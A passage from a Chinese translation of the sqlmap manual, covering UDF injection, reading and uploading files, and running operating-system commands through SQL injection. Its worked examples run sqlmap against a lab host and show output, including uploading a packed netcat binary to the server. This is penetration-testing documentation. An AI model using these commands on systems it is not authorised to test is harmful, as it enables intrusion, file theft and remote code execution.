sqlmap中文手册 (13)

可以编译MySQL或PostgreSQL的共享库、DLL(Windows)和共享对象(Linux/Unix)并将这些文件在本机上的路径提供给Sqlmap来进行UDF注入。
Sqlmap会先问一些问题然后上传UDF文件并创建UDF最后根据问题答案执行UDF。完成UDF注入后,Sqlmap会删除上传的UDF文件。

参数:–shared-lib

添加此参数Sqlmap会在运行时询问共享库文件路径。

在Sqlmap安装目录的udf目录中有许多UDF文件,按照DMBS、操作系统、位数和版本归类,可以直接使用。

十五、访问文件系统

1.读取文件

参数:–file-read

当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。
读取的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是SQL Server 2005:

  python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

部分输出如下:

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2000

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'

[hh:mm:50] [INFO] the SQL query provided returns 3 entries

C:/example.exe file saved to:

'/software/sqlmap/output/192.168.136.129/files/C__example.exe'

然后查看下载的文件:

  $ ls -l output/192.168.136.129/files/C__example.exe

  -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

  $ file output/192.168.136.129/files/C__example.exe

  output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

2.上传文件

参数:–file-write和–file-dest

当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。
上传的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是MySQL,上传了一个二进制的UPX压缩文件:

  $ file /software/nc.exe.packed

  /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

  $ ls -l /software/nc.exe.packed

  -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

  $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -

  -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

  [...]

  [hh:mm:29] [INFO] the back-end DBMS is MySQL

  web server operating system: Windows 2003 or 2008

  web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727

  back-end DBMS: MySQL >= 5.0.0

  [...]

  do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success

  fully written on the back-end DBMS file system? [Y/n] y

  [hh:mm:52] [INFO] retrieved: 31744

  [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b

  ytes, same size as the local file '/software/nc.exe.packed'

十六、操作系统控制

1.执行任意操作系统命令

参数:–os-cmd和–os-shell

若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。

当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpyxgg.html